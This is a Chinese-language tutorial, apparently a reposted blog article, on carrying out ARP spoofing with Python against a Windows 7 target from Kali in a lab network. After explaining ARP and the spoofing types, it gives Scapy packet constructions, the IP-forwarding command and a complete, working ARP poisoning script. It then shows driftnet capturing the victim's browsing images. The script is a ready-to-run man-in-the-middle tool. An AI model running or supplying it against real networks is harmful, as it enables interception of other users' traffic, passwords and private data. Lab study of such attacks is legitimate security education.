使用Python实现ARP攻击,并获取上网信息

1、 ARP协议

ARP(Address Resolution Protocol,地址解析协议),位于TCP/IP协议栈中的网络层,负责将某个IP地址转化成对应的MAC地址。

  •     主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址;
  •     收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。
  •     地址解析协议是建立在网络中各个主机互相信任的基础上的,网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存;
  •     由此攻击者就可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。

2、ARP攻击原理

ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞。攻击者只要持续不断的发出伪造的ARP响应包就能更改主机ARP缓存中的IP-MAC条目,造成网络中断或中间人攻击。

  •  ARP攻击主要是存在于局域网网络中,无法对外网进行攻击。
  •  攻击者向电脑A发送一个伪造的ARP响应,告诉主机A:电脑B的IP地址192.168.0.2对应的MAC地址是00-12-00-13-c6-14,电脑A信以为真,将这个对应关系写入自己的ARP缓存表中(不用广播,直接查询缓存表),以后发送数据时,将本应该发往电脑B的数据发送给了攻击者。同样的,攻击者向电脑B也发送一个伪造的ARP响应,告诉电脑B:电脑A的IP地址192.168.0.1对应的MAC地址是00-12-00-13-c6-15,电脑B也会将数据发送给攻击者。
  •   至此攻击者就控制了电脑A和电脑B之间的流量,他可以选择被动地监测流量,获取密码和其他涉密信息,也可以伪造数据,改变电脑A和电脑B之间的通信内容。

根据ARP欺骗者与被欺骗者之间的角色关系的不同,通常可以把ARP欺骗攻击分为如下两种:

1、主机型ARP欺骗:欺骗者主机冒充网关设备对其他主机进行欺骗

2、网关型ARP欺骗:欺骗者主机冒充其他主机对网关设备进行欺骗

使用Python实现ARP攻击,并获取上网信息_第1张图片

3、Python实现ARP攻击

3.1、查看基本网络信息

Kali:攻击机      IP:192.168.37.131

win7:靶机        IP : 192.168.37.169

>>kali的基本信息如下:

IP:192.168.37.131   MAC:00:0c:29:3e:df:60    网卡:eth0

使用Python实现ARP攻击,并获取上网信息_第2张图片

arp缓存

>>win7靶机的基本信息如下:

IP:192.168.37.169   MAC:

使用Python实现ARP攻击,并获取上网信息_第3张图片

arp缓存

使用Python实现ARP攻击,并获取上网信息_第4张图片

可以得到:kali和win7同时缓存了网关的地址,其中,网关IP为192.168.37.2,MAC地址为00:50:56:e8:e0:56

3.2、构造ARP欺骗包

3.2.1、Ether和ARP参数

>> Ether参数

构造一个以太网数据包通常需要指定目标和源MAC地址,如果不指定,默认发出的就是广播包

使用Python实现ARP攻击,并获取上网信息_第5张图片

>> ARP参数

op。取值为1或者2,代表ARP请求或者响应包。(默认为1)

hwsrc。源Mac地址。

psrc。源IP地址。

hwdst。目标Mac地址。

pdst。目标IP地址。

使用Python实现ARP攻击,并获取上网信息_第6张图片

3.2.2、构造欺骗数据包

>> 定向欺骗

主机型ARP欺骗:欺骗者主机冒充网关设备对其他主机进行欺骗

告诉靶机(192.168.37.169)网关的地址为Kali(192.168.37.131)所在的主机

pkt = Ether(src=37.131的Mac, dst=37.169的Mac) / ARP(hwsrc=37.131的Mac, psrc=网关的IP地址, hwdst=37.169的Mac, pdst=37.169的IP, op=2)

网关型ARP欺骗:欺骗者主机冒充其他主机对网关设备进行欺骗

pkt = Ether(src=37.131的Mac, dst=网关的Mac) / ARP(hwsrc=37.131的Mac, psrc=37.169的IP地址, hwdst=网关的Mac, pdst=网关的IP, op=2)

上面构造的两个数据包都是ARP响应包,其实发送请求包也可以进行欺骗,请求包欺骗的原理是,我们请求时候使用假的源IP和MAC地址,目标主机同样会更新自己的路由表

主机型ARP欺骗

pkt = Ether(src=37.131的Mac, dst=37.169的Mac) / ARP(hwsrc=37.131的Mac, psrc=网关的IP地址, hwdst=37.169的Mac, pdst=37.169的IP, op=1)

网关型ARP欺骗

pkt = Ether(src=37.131的Mac, dst=网关的Mac) / ARP(hwsrc=37.131的Mac, psrc=37.169的IP地址, hwdst=网关的Mac, pdst=网关的IP, op=1)

>> 广播欺骗

广播欺骗,以太网数据包直接构造一个广播包,ARP包不用填写目标主机的信息

pkt = Ether(src=37.131的Mac地址, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=37.131的Mac地址,。。。。)

3.3、ARP攻击代码

在做ARP欺骗测试的时候,一定要先开启本机的IP转发功能,执行如下命令:

sysctl net.ipv4.ip_forward=1

3.3.1、代码如下

# !/usr/bin/python
import os
import sys
import signal
from scapy.all import (
    get_if_hwaddr,   # 获取本机网络接口的函数
    getmacbyip,      # 通过IP地址获取其Mac地址的函数
    ARP,             # 构造ARP数据包
    Ether,           # 构造以太网数据包
    sendp            # 在第二层发送数据包
)

from optparse import OptionParser     #格式化用户输入的参数

def main():

    #自定义程序使用方法,当中的 %prog,optparse会以当前程序名的字符串来替代
    usage = 'Usage: %prog [-i interface] [-t target] host'

    #创建一个 OptionParser 对象
    parser = OptionParser(usage)
    #add_option 来定义命令行参数
    parser.add_option('-i', dest='interface', help='Specify the interface to use')
    parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')
    parser.add_option('-m', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: %default]')

    #调用optionparser的解析函数
    (options, args) = parser.parse_args()

    if len(args) != 1 or options.interface is None:
        parser.print_help()
        sys.exit(0)

    #获取本机网络接口
    mac = get_if_hwaddr(options.interface)

#主机型欺骗
#网关型欺骗

    #请求包
    def build_req():
        #当没有明确攻击目标时,广播
        if options.target is None:
            pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0])

        elif options.target:
            #通过IP地址获取其MAC地址
            target_mac = getmacbyip(options.target)
            #没有获取到MAC地址
            if target_mac is None:
                print("[-] Error: Could not resolve targets MAC address")
                sys.exit(1)

            #构造包
            pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
        return pkt

    #响应包
    def build_rep():
        if options.target is None:
            #op=1(请求包) op=2(响应包)
            pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2)
        elif options.target:
            target_mac = getmacbyip(options.target)
            if target_mac is None:
                print("[-] Error: Could not resolve targets MAC address")
                sys.exit(1)
            pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2)
        return pkt

    #请求
    if options.mode == 'req':
        pkt = build_req()
    #响应
    elif options.mode == 'rep':
        pkt = build_rep()

    while True:
        #在两次发送数据包之间有一定的时间间隔,使用inter选项,表示每隔2秒发送一个数据包
        sendp(pkt, inter=2, iface=options.interface)

if __name__ == '__main__':
    main()

3.3.2、结果如下

接下来,我们打开终端,对靶机进行欺骗

使用Python实现ARP攻击,并获取上网信息_第7张图片

对网关进行欺骗

使用Python实现ARP攻击,并获取上网信息_第8张图片

一段时间后,查看靶机的arp缓存,发现网关的Mac地址已经变成了kali的Mac地址,可以得知,arp欺骗成功。

使用Python实现ARP攻击,并获取上网信息_第9张图片

使用常用的测试工具driftnet,获取靶机的外网请求信息

使用Python实现ARP攻击,并获取上网信息_第10张图片

接下来在靶机(192.168.37.169)上搜索图片,可以在kali(192.168.37.131)上捕获到图片的信息

使用Python实现ARP攻击,并获取上网信息_第11张图片

使用Python实现ARP攻击,并获取上网信息_第12张图片

参考链接:https://www.cnblogs.com/xuanhun/p/5802573.html

你可能感兴趣的:(Python安全开发)